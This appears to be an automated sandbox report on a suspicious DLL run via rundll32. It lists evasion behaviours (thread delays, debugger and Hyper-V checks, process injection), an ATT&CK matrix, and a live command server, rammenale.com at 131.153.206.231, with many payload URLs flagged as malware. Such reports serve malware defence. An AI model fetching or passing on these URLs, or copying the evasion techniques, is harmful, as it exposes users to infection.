Source: C:\Windows\System32\loaddll32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 6.5 %

Source: C:\Windows\SysWOW64\rundll32.exe TID: 5960	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2468	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B921B85 FindFirstFileW,_strlen,ExpandEnvironmentStringsW,CopyFileW,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	0_2_6B921B85
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B9338F4 FindFirstFileExW,	0_2_6B9338F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E1B85 FindFirstFileW,_strlen,ExpandEnvironmentStringsW,CopyFileW,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	3_2_6F9E1B85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F38F4 FindFirstFileExW,	3_2_6F9F38F4

Source: C:\Windows\System32\loaddll32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: rundll32.exe, 0000000C.00000002.3289874951.000000000882F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW5
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWgG
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: rundll32.exe, 00000008.00000002.3289577323.0000000008C00000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337362841.0000000008C00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F5E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3289519547.0000000008F85000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CFD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007B71000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007B46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C27000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C27000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CEE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008C90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.000000000882F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.000000000888E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007B46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8h

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6B9253EE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6B9253EE

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6B934AF5 GetProcessHeap,

0_2_6B934AF5

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B9253EE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6B9253EE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B924EDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6B924EDC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B92DCFD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6B92DCFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E4EDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6F9E4EDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9EDCFD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6F9EDCFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E53EE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6F9E53EE

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 131.153.206.231 443

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6B9255EB cpuid

0_2_6B9255EB

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6B92503D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6B92503D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	111 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
QEydjQdRxs.dll	5%	ReversingLabs
QEydjQdRxs.dll	8%	Virustotal	Browse
QEydjQdRxs.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
rammenale.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://rammenale.com/for2/regit.tmp$u	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclogY	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtM	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpent	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtPR	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpft	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4kJ	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp(	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpent	0%	Virustotal		Browse
https://rammenale.com/for2/aclog.txtM	1%	Virustotal		Browse
https://rammenale.com/for2/regit.tmpPR5	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtT	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp)	100%	Avira URL Cloud	malware
https://rammenale.com/T	0%	Avira URL Cloud	safe
https://rammenale.com/for2/aclog.txtR	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpft	0%	Virustotal		Browse
https://rammenale.com/for2/aclog.txt42	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt6634-1003(	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp%	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpry	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtO	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtZ	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtR	1%	Virustotal		Browse
https://rammenale.com/for2/aclog.txt4?	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txte	100%	Avira URL Cloud	malware
https://rammenale.com/d	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmpsC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtO	1%	Virustotal		Browse
https://rammenale.com/for2/aclog.txt)	100%	Avira URL Cloud	malware
https://rammenale.com/k	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmp%	1%	Virustotal		Browse
https://rammenale.com/for2/regit.tmpry	0%	Virustotal		Browse
https://rammenale.com/for2/aclog.txte	1%	Virustotal		Browse
https://rammenale.com/for2/regit.tmpsC:	1%	Virustotal		Browse
https://rammenale.com/for2/aclog.txt4	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtenth	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4Y	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4FA	100%	Avira URL Cloud	malware
https://rammenale.com/q	0%	Avira URL Cloud	safe
https://rammenale.com/for2/aclog.txt3	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt0O	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt0	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpn	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtF	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpw	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpxe.muiE	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpz	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog	0%	Virustotal		Browse
https://rammenale.com/for2/regit.tmps	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpu	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt6634-1003	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt?	100%	Avira URL Cloud	malware
https://rammenale.com/	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmp8a5	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4u	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp6634-1003	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtry	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtQw	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtrw	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpg	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmph	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4n	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt60	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtentindowsINetCookies	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4r	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp08	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpP	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtfw	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt&	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt%	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4~	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtft	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpA	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtk	100%	Avira URL Cloud	malware
https://rammenale.com//9	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmp;	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txti	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclogtxt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtv	100%	Avira URL Cloud	malware
https://rammenale.com/6	0%	Avira URL Cloud	safe
https://rammenale.com/for2/aclog.txts	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4s5	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp0	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpmp	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4X	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtentdll8	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtx	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp7	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpc4u	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4Zfrh	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4$	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtdT	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpuk	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rammenale.com	131.153.206.231	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rammenale.com/for2/regit.tmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://rammenale.com/for2/regit.tmp$u	rundll32.exe, 00000008.00000002.3289370327.0000000008BE3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtM	rundll32.exe, 00000005.00000002.3286428074.000000000317A000.00000004.00000020.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpent	rundll32.exe, 00000007.00000002.3286915382.00000000028B9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286593843.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337436312.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002B1B000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtPR	rundll32.exe, 00000005.00000002.3287957318.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclogY	rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpft	rundll32.exe, 00000007.00000002.3286915382.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286593843.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337436312.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4kJ	rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C19000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp(	rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpPR5	rundll32.exe, 00000007.00000002.3286295606.00000000026C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtT	rundll32.exe, 00000006.00000002.3286763260.0000000003289000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp)	rundll32.exe, 00000008.00000002.3289919472.0000000008C47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337289222.0000000008C46000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/T	rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/aclog.txtR	rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt42	rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt6634-1003(	rundll32.exe, 0000000B.00000002.3289283250.0000000008C74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp%	rundll32.exe, 0000000C.00000002.3286396113.0000000002AAA000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpry	rundll32.exe, 0000000C.00000002.3289874951.0000000008814000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtO	rundll32.exe, 00000005.00000002.3289519547.0000000008FA7000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtZ	rundll32.exe, 0000000B.00000002.3286397413.0000000002FB3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4?	rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txte	rundll32.exe, 00000006.00000002.3286763260.0000000003208000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/d	rundll32.exe, 00000006.00000002.3289715229.0000000008CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmpsC:	loaddll32.exe, 00000000.00000002.2078622698.0000000000B70000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt)	rundll32.exe, 00000006.00000002.3286763260.000000000319A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/k	rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/aclog.txt4Y	rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtenth	rundll32.exe, 00000005.00000002.3286428074.0000000003170000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4	rundll32.exe, 0000000B.00000002.3289283250.0000000008D02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4FA	rundll32.exe, 00000005.00000002.3289519547.0000000008F85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt3	rundll32.exe, 00000006.00000002.3286763260.000000000319A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286397413.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt0O	rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt0	rundll32.exe, 00000006.00000002.3289715229.0000000008D34000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/q	rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/aclog	rundll32.exe, 0000000B.00000002.3288849622.0000000005132000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3288849622.000000000511A000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt:	rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpn	rundll32.exe, 00000008.00000002.3289370327.0000000008BFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtF	rundll32.exe, 0000000B.00000002.3289283250.0000000008C74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpw	rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpxe.muiE	rundll32.exe, 00000003.00000002.2054268818.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpz	rundll32.exe, 00000007.00000002.3289414111.0000000007B83000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007B71000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C27000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C19000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C1B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C27000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002B1B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.000000000889F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmps	rundll32.exe, 00000008.00000002.3288087591.0000000003110000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3288019449.0000000002D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpC:	rundll32.exe, 00000003.00000002.2054157114.0000000002880000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2053873266.0000000000390000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3286915382.0000000002840000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3286404061.00000000026D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286340448.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286449420.0000000002E30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286291304.0000000002990000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002AA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpu	rundll32.exe, 00000008.00000002.3286593843.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337436312.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt6634-1003	rundll32.exe, 00000005.00000002.3289519547.0000000008F42000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt?	rundll32.exe, 00000006.00000002.3289715229.0000000008D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/	rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007B46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289577323.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002AAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmp8a5	rundll32.exe, 00000007.00000002.3286915382.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4u	rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp6634-1003	rundll32.exe, 00000007.00000002.3289414111.0000000007B2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289370327.0000000008BE3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008814000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtry	rundll32.exe, 00000005.00000002.3289519547.0000000008F42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtQw	rundll32.exe, 00000006.00000002.3289715229.0000000008D34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtrw	rundll32.exe, 00000006.00000002.3289715229.0000000008CBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpg	rundll32.exe, 0000000C.00000002.3286396113.0000000002B1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmph	rundll32.exe, 00000007.00000002.3289414111.0000000007B42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4n	rundll32.exe, 00000006.00000002.3289715229.0000000008CFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
